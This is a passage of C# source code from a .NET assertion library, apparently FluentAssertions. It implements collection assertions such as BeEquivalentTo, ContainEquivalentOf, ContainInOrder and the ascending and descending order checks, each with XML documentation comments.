Guard.ThrowIfArgumentIsNull(unexpected, nameof(unexpected), "Cannot compare collection with <null>.");
if (ReferenceEquals(Subject, unexpected))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected collections not to be equal{reason}, but they both reference the same object.");
}
ICollection<object> actualItems = Subject.ConvertOrCastToCollection<object>();
if (actualItems.SequenceEqual(unexpected.Cast<object>()))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Did not expect collections {0} and {1} to be equal{reason}.", unexpected, actualItems);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that a collection of objects is equivalent to another collection of objects.
/// </summary>
/// <remarks>
/// Objects within the collections are equivalent when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// The type of a collection property is ignored as long as the collection implements <see cref="IEnumerable"/> and all
/// items in the collection are structurally equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
/// <param name="expectation">An <see cref="IEnumerable{T}"/> with the expected elements.</param>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> BeEquivalentTo<TExpectation>(IEnumerable<TExpectation> expectation,
string because = "", params object[] becauseArgs)
{
BeEquivalentTo(expectation, config => config, because, becauseArgs);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that a collection of objects is equivalent to another collection of objects.
/// </summary>
/// <remarks>
/// Objects within the collections are equivalent when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// The type of a collection property is ignored as long as the collection implements <see cref="IEnumerable"/> and all
/// items in the collection are structurally equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
public AndConstraint<TAssertions> BeEquivalentTo(params object[] expectations)
{
BeEquivalentTo(expectations, config => config, string.Empty);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that a collection of objects is equivalent to another collection of objects.
/// </summary>
/// <remarks>
/// Objects within the collections are equivalent when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// The type of a collection property is ignored as long as the collection implements <see cref="IEnumerable"/> and all
/// items in the collection are structurally equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
/// <param name="expectation">An <see cref="IEnumerable"/> with the expected elements.</param>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> BeEquivalentTo(IEnumerable expectation, string because = "", params object[] becauseArgs)
{
BeEquivalentTo(expectation, config => config, because, becauseArgs);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that a collection of objects is equivalent to another collection of objects.
/// </summary>
/// <remarks>
/// Objects within the collections are equivalent when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// The type of a collection property is ignored as long as the collection implements <see cref="IEnumerable"/> and all
/// items in the collection are structurally equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
/// <param name="expectation">An <see cref="IEnumerable"/> with the expected elements.</param>
/// <param name="config">
/// A reference to the <see cref="EquivalencyAssertionOptions{TSubject}"/> configuration object that can be used
/// to influence the way the object graphs are compared. You can also provide an alternative instance of the
/// <see cref="EquivalencyAssertionOptions{TSubject}"/> class. The global defaults are determined by the
/// <see cref="AssertionOptions"/> class.
/// </param>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> BeEquivalentTo(IEnumerable expectation,
Func<EquivalencyAssertionOptions<IEnumerable>, EquivalencyAssertionOptions<IEnumerable>> config, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(config, nameof(config));
EquivalencyAssertionOptions<IEnumerable> options = config(AssertionOptions.CloneDefaults<IEnumerable>());
var context = new EquivalencyValidationContext
{
Subject = Subject,
Expectation = expectation,
RootIsCollection = true,
CompileTimeType = typeof(IEnumerable),
Because = because,
BecauseArgs = becauseArgs,
Tracer = options.TraceWriter
};
var equivalencyValidator = new EquivalencyValidator(options);
equivalencyValidator.AssertEquality(context);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that a collection of objects is equivalent to another collection of objects.
/// </summary>
/// <remarks>
/// Objects within the collections are equivalent when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// The type of a collection property is ignored as long as the collection implements <see cref="IEnumerable"/> and all
/// items in the collection are structurally equal.
/// </remarks>
/// <param name="expectation">An <see cref="IEnumerable{T}"/> with the expected elements.</param>
/// <param name="config">
/// A reference to the <see cref="EquivalencyAssertionOptions{TSubject}"/> configuration object that can be used
/// to influence the way the object graphs are compared. You can also provide an alternative instance of the
/// <see cref="EquivalencyAssertionOptions{TSubject}"/> class. The global defaults are determined by the
/// <see cref="AssertionOptions"/> class.
/// </param>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> BeEquivalentTo<TExpectation>(IEnumerable<TExpectation> expectation,
Func<EquivalencyAssertionOptions<TExpectation>, EquivalencyAssertionOptions<TExpectation>> config, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(config, nameof(config));
EquivalencyAssertionOptions<IEnumerable<TExpectation>> options = config(AssertionOptions.CloneDefaults<TExpectation>()).AsCollection();
var context = new EquivalencyValidationContext
{
Subject = Subject,
Expectation = expectation,
RootIsCollection = true,
CompileTimeType = typeof(IEnumerable<TExpectation>),
Because = because,
BecauseArgs = becauseArgs,
Tracer = options.TraceWriter
};
var equivalencyValidator = new EquivalencyValidator(options);
equivalencyValidator.AssertEquality(context);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Expects the current collection not to contain all elements of the collection identified by <paramref name="unexpected" />,
/// regardless of the order. Elements are compared using their <see cref="object.Equals(object)" />.
/// </summary>
/// <param name="unexpected">An <see cref="IEnumerable"/> with the unexpected elements.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotBeEquivalentTo(IEnumerable unexpected, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(unexpected, nameof(unexpected), "Cannot verify inequivalence against a <null> collection.");
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} not to be equivalent{reason}, but found <null>.");
}
if (ReferenceEquals(Subject, unexpected))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} not to be equivalent with collection {1}{reason}, but they both reference the same object.",
Subject,
unexpected);
}
IEnumerable<object> actualItems = Subject.Cast<object>();
IEnumerable<object> unexpectedItems = unexpected.Cast<object>();
if (actualItems.Count() == unexpectedItems.Count())
{
List<object> missingItems = GetMissingItems(unexpectedItems, actualItems);
Execute.Assertion
.ForCondition(missingItems.Count > 0)
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} not be equivalent with collection {1}{reason}.", Subject,
unexpected);
}
string[] failures;
using (var scope = new AssertionScope())
{
Subject.Should().BeEquivalentTo(unexpected);
failures = scope.Discard();
}
Execute.Assertion
.ForCondition(failures.Length > 0)
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} not to be equivalent to collection {1}{reason}.", Subject,
unexpected);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that a collection of objects contains at least one object equivalent to another object.
/// </summary>
/// <remarks>
/// Objects within the collection are equivalent to the expected object when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
/// <param name="expectation">The expected element.</param>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> ContainEquivalentOf<TExpectation>(TExpectation expectation, string because = "",
params object[] becauseArgs)
{
return ContainEquivalentOf(expectation, config => config, because, becauseArgs);
}
/// <summary>
/// Asserts that a collection of objects contains at least one object equivalent to another object.
/// </summary>
/// <remarks>
/// Objects within the collection are equivalent to the expected object when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
/// <param name="expectation">An <see cref="IEnumerable{T}"/> with the expected elements.</param>
/// <param name="config">
/// A reference to the <see cref="EquivalencyAssertionOptions{TSubject}"/> configuration object that can be used
/// to influence the way the object graphs are compared. You can also provide an alternative instance of the
/// <see cref="EquivalencyAssertionOptions{TSubject}"/> class. The global defaults are determined by the
/// <see cref="AssertionOptions"/> class.
/// </param>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> ContainEquivalentOf<TExpectation>(TExpectation expectation, Func<EquivalencyAssertionOptions<TExpectation>,
EquivalencyAssertionOptions<TExpectation>> config, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(config, nameof(config));
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to contain equivalent of {0}{reason}, but found <null>.", expectation);
}
EquivalencyAssertionOptions<TExpectation> options = config(AssertionOptions.CloneDefaults<TExpectation>());
IEnumerable<object> actualItems = Subject.Cast<object>();
using (var scope = new AssertionScope())
{
scope.AddReportable("configuration", options.ToString());
foreach (object actualItem in actualItems)
{
var context = new EquivalencyValidationContext
{
Subject = actualItem,
Expectation = expectation,
CompileTimeType = typeof(TExpectation),
Because = because,
BecauseArgs = becauseArgs,
Tracer = options.TraceWriter,
};
var equivalencyValidator = new EquivalencyValidator(options);
equivalencyValidator.AssertEquality(context);
string[] failures = scope.Discard();
if (!failures.Any())
{
return new AndConstraint<TAssertions>((TAssertions)this);
}
}
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to contain equivalent of {1}{reason}.", Subject, expectation);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that a collection of objects does not contain any object equivalent to another object.
/// </summary>
/// <remarks>
/// Objects within the collection are equivalent to the expected object when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotContainEquivalentOf<TExpectation>(TExpectation unexpected, string because = "",
params object[] becauseArgs)
{
return NotContainEquivalentOf(unexpected, config => config, because, becauseArgs);
}
/// <summary>
/// Asserts that a collection of objects does not contain any object equivalent to another object.
/// </summary>
/// <remarks>
/// Objects within the collection are equivalent to the expected object when both object graphs have equally named properties with the same
/// value, irrespective of the type of those objects. Two properties are also equal if one type can be converted to another
/// and the result is equal.
/// Notice that actual behavior is determined by the global defaults managed by <see cref="AssertionOptions"/>.
/// </remarks>
/// <param name="config">
/// A reference to the <see cref="EquivalencyAssertionOptions{TSubject}"/> configuration object that can be used
/// to influence the way the object graphs are compared. You can also provide an alternative instance of the
/// <see cref="EquivalencyAssertionOptions{TSubject}"/> class. The global defaults are determined by the
/// <see cref="AssertionOptions"/> class.
/// </param>
/// <param name="because">
/// An optional formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the
/// assertion is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotContainEquivalentOf<TExpectation>(TExpectation unexpected, Func<EquivalencyAssertionOptions<TExpectation>,
EquivalencyAssertionOptions<TExpectation>> config, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(config, nameof(config));
Execute.Assertion
.BecauseOf(because, becauseArgs)
.ForCondition(Subject != null)
.FailWith("Expected {context:collection} not to contain equivalent of {0}{reason}, but collection is <null>.", unexpected);
EquivalencyAssertionOptions<TExpectation> options = config(AssertionOptions.CloneDefaults<TExpectation>());
var foundIndices = new List<int>();
using (var scope = new AssertionScope())
{
int index = 0;
foreach (object actualItem in Subject)
{
var context = new EquivalencyValidationContext
{
Subject = actualItem,
Expectation = unexpected,
CompileTimeType = typeof(TExpectation),
Because = because,
BecauseArgs = becauseArgs,
Tracer = options.TraceWriter,
};
var equivalencyValidator = new EquivalencyValidator(options);
equivalencyValidator.AssertEquality(context);
string[] failures = scope.Discard();
if (!failures.Any())
{
foundIndices.Add(index);
}
index++;
}
}
if (foundIndices.Count > 0)
{
using (new AssertionScope())
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} {0} not to contain equivalent of {1}{reason}, ", Subject, unexpected)
.AddReportable("configuration", options.ToString());
if (foundIndices.Count == 1)
{
Execute.Assertion
.FailWith("but found one at index {0}.", foundIndices[0]);
}
else
{
Execute.Assertion
.FailWith("but found several at indices {0}.", foundIndices);
}
}
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the current collection only contains items that are assignable to the type <typeparamref name="T" />.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> ContainItemsAssignableTo<T>(string because = "", params object[] becauseArgs)
{
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to contain element assignable to type {0}{reason}, but found <null>.",
typeof(T));
}
int index = 0;
foreach (object item in Subject)
{
if (!(item is T))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
"Expected {context:collection} to contain only items of type {0}{reason}, but item {1} at index {2} is of type {3}.",
typeof(T), item, index, item.GetType());
}
++index;
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
private static List<T> GetMissingItems<T>(IEnumerable<T> expectedItems, IEnumerable<T> actualItems)
{
List<T> missingItems = new List<T>();
List<T> subject = actualItems.ToList();
foreach (T expectation in expectedItems)
{
if (subject.Contains(expectation))
{
subject.Remove(expectation);
}
else
{
missingItems.Add(expectation);
}
}
return missingItems;
}
/// <summary>
/// Expects the current collection to contain the specified elements in any order. Elements are compared
/// using their <see cref="object.Equals(object)" /> implementation.
/// </summary>
/// <param name="expected">An <see cref="IEnumerable"/> with the expected elements.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> Contain(IEnumerable expected, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(expected, nameof(expected), "Cannot verify containment against a <null> collection");
ICollection<object> expectedObjects = expected.ConvertOrCastToCollection<object>();
if (!expectedObjects.Any())
{
throw new ArgumentException("Cannot verify containment against an empty collection",
nameof(expected));
}
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to contain {0}{reason}, but found <null>.", expected);
}
if (expected is string)
{
if (!Subject.Cast<object>().Contains(expected))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to contain {1}{reason}.", Subject, expected);
}
}
else
{
IEnumerable<object> missingItems = expectedObjects.Except(Subject.Cast<object>());
if (missingItems.Any())
{
if (expectedObjects.Count > 1)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to contain {1}{reason}, but could not find {2}.", Subject,
expected, missingItems);
}
else
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to contain {1}{reason}.", Subject,
expected.Cast<object>().First());
}
}
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Expects the current collection to contain the specified elements in the exact same order, not necessarily consecutive.
/// using their <see cref="object.Equals(object)" /> implementation.
/// </summary>
/// <param name="expected">An <see cref="IEnumerable"/> with the expected elements.</param>
public AndConstraint<TAssertions> ContainInOrder(params object[] expected)
{
return ContainInOrder(expected, string.Empty);
}
/// <summary>
/// Expects the current collection to contain the specified elements in the exact same order, not necessarily consecutive.
/// </summary>
/// <remarks>
/// Elements are compared using their <see cref="object.Equals(object)" /> implementation.
/// </remarks>
/// <param name="expected">An <see cref="IEnumerable"/> with the expected elements.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> ContainInOrder(IEnumerable expected, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(expected, nameof(expected), "Cannot verify ordered containment against a <null> collection.");
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to contain {0} in order{reason}, but found <null>.", expected);
}
IList<object> expectedItems = expected.ConvertOrCastToList<object>();
IList<object> actualItems = Subject.ConvertOrCastToList<object>();
for (int index = 0; index < expectedItems.Count; index++)
{
object expectedItem = expectedItems[index];
actualItems = actualItems.SkipWhile(actualItem => !actualItem.IsSameOrEqualTo(expectedItem)).ToArray();
if (actualItems.Any())
{
actualItems = actualItems.Skip(1).ToArray();
}
else
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
"Expected {context:collection} {0} to contain items {1} in order{reason}, but {2} (index {3}) did not appear (in the right order).",
Subject, expected, expectedItem, index);
}
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts the current collection does not contain the specified elements in the exact same order, not necessarily consecutive.
/// </summary>
/// <remarks>
/// Elements are compared using their <see cref="object.Equals(object)" /> implementation.
/// </remarks>
/// <param name="unexpected">A <see cref="System.Array"/> with the unexpected elements.</param>
public AndConstraint<TAssertions> NotContainInOrder(params object[] unexpected)
{
return NotContainInOrder(unexpected, string.Empty);
}
/// <summary>
/// Asserts the current collection does not contain the specified elements in the exact same order, not necessarily consecutive.
/// </summary>
/// <remarks>
/// Elements are compared using their <see cref="object.Equals(object)" /> implementation.
/// </remarks>
/// <param name="unexpected">An <see cref="IEnumerable"/> with the unexpected elements.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotContainInOrder(IEnumerable unexpected, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(unexpected, nameof(unexpected), "Cannot verify absence of ordered containment against a <null> collection.");
if (Subject is null)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Cannot verify absence of ordered containment in a <null> collection.");
return new AndConstraint<TAssertions>((TAssertions)this);
}
IList<object> unexpectedItems = unexpected.ConvertOrCastToList<object>();
IList<object> actualItems = Subject.ConvertOrCastToList<object>();
if (unexpectedItems.Count > actualItems.Count)
{
return new AndConstraint<TAssertions>((TAssertions)this);
}
var actualItemsSkipped = 0;
for (int index = 0; index < unexpectedItems.Count; index++)
{
object unexpectedItem = unexpectedItems[index];
actualItems = actualItems.SkipWhile(actualItem =>
{
actualItemsSkipped++;
return !actualItem.IsSameOrEqualTo(unexpectedItem);
}).ToArray();
if (actualItems.Any())
{
if (index == unexpectedItems.Count - 1)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
"Expected {context:collection} {0} to not contain items {1} in order{reason}, " +
"but items appeared in order ending at index {2}.",
Subject, unexpected, actualItemsSkipped - 1);
}
actualItems = actualItems.Skip(1).ToArray();
}
else
{
return new AndConstraint<TAssertions>((TAssertions)this);
}
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Expects the current collection to have all elements in ascending order. Elements are compared
/// using their <see cref="IComparable.CompareTo(object)" /> implementation.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> BeInAscendingOrder(string because = "", params object[] becauseArgs)
{
return BeInAscendingOrder(Comparer<object>.Default, because, becauseArgs);
}
/// <summary>
/// Expects the current collection to have all elements in ascending order. Elements are compared
/// using the given <see cref="IComparer{T}" /> implementation.
/// </summary>
/// <param name="comparer">
/// The object that should be used to determine the expected ordering.
/// </param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> BeInAscendingOrder(IComparer<object> comparer, string because = "", params object[] becauseArgs)
{
return BeInOrder(comparer, SortOrder.Ascending, because, becauseArgs);
}
/// <summary>
/// Expects the current collection to have all elements in descending order. Elements are compared
/// using their <see cref="IComparable.CompareTo(object)" /> implementation.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> BeInDescendingOrder(string because = "", params object[] becauseArgs)
{
return BeInDescendingOrder(Comparer<object>.Default, because, becauseArgs);
}
/// <summary>
/// Expects the current collection to have all elements in descending order. Elements are compared
/// using the given <see cref="IComparer{T}" /> implementation.
/// </summary>
/// <param name="comparer">
/// The object that should be used to determine the expected ordering.
/// </param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> BeInDescendingOrder(IComparer<object> comparer, string because = "", params object[] becauseArgs)
{
return BeInOrder(comparer, SortOrder.Descending, because, becauseArgs);
}
/// <summary>
/// Expects the current collection to have all elements in the specified <paramref name="expectedOrder"/>.
/// Elements are compared using their <see cref="object.Equals(object)" /> implementation.
/// </summary>
private AndConstraint<TAssertions> BeInOrder(
IComparer<object> comparer, SortOrder expectedOrder, string because = "", params object[] becauseArgs)
{
string sortOrder = (expectedOrder == SortOrder.Ascending) ? "ascending" : "descending";
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to contain items in " + sortOrder + " order{reason}, but found {1}.",
Subject);
}
IList<object> actualItems = Subject.ConvertOrCastToList<object>();
object[] orderedItems = (expectedOrder == SortOrder.Ascending)
? actualItems.OrderBy(item => item, comparer).ToArray()
: actualItems.OrderByDescending(item => item, comparer).ToArray();
for (int index = 0; index < orderedItems.Length; index++)
{
Execute.Assertion
.ForCondition(actualItems[index].IsSameOrEqualTo(orderedItems[index]))
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to contain items in " + sortOrder +
" order{reason}, but found {0} where item at index {1} is in wrong order.",
Subject, index);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts the current collection does not have all elements in ascending order. Elements are compared
/// using their <see cref="IComparable.CompareTo(object)" /> implementation.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> NotBeInAscendingOrder(string because = "", params object[] becauseArgs)
{
return NotBeInAscendingOrder(Comparer<object>.Default, because, becauseArgs);
}
/// <summary>
/// Asserts the current collection does not have all elements in ascending order. Elements are compared
/// using their <see cref="IComparable.CompareTo(object)" /> implementation.
/// </summary>
/// <param name="comparer">
/// The object that should be used to determine the expected ordering.
/// </param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> NotBeInAscendingOrder(IComparer<object> comparer, string because = "", params object[] becauseArgs)
{
return NotBeInOrder(comparer, SortOrder.Ascending, because, becauseArgs);
}
/// <summary>
/// Asserts the current collection does not have all elements in descending order. Elements are compared
/// using their <see cref="IComparable.CompareTo(object)" /> implementation.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> NotBeInDescendingOrder(string because = "", params object[] becauseArgs)
{
return NotBeInDescendingOrder(Comparer<object>.Default, because, becauseArgs);
}
/// <summary>
/// Asserts the current collection does not have all elements in descending order. Elements are compared
/// using their <see cref="IComparable.CompareTo(object)" /> implementation.
/// </summary>
/// <param name="comparer">
/// The object that should be used to determine the expected ordering.
/// </param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
/// <remarks>
/// Empty and single element collections are considered to be ordered both in ascending and descending order at the same time.
/// </remarks>
public AndConstraint<TAssertions> NotBeInDescendingOrder(IComparer<object> comparer, string because = "", params object[] becauseArgs)
{
return NotBeInOrder(comparer, SortOrder.Descending, because, becauseArgs);
}
/// <summary>
/// Asserts the current collection does not have all elements in ascending order. Elements are compared
/// using their <see cref="object.Equals(object)" /> implementation.
/// </summary>
private AndConstraint<TAssertions> NotBeInOrder(IComparer<object> comparer, SortOrder order, string because = "", params object[] becauseArgs)
{
string sortOrder = (order == SortOrder.Ascending) ? "ascending" : "descending";
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
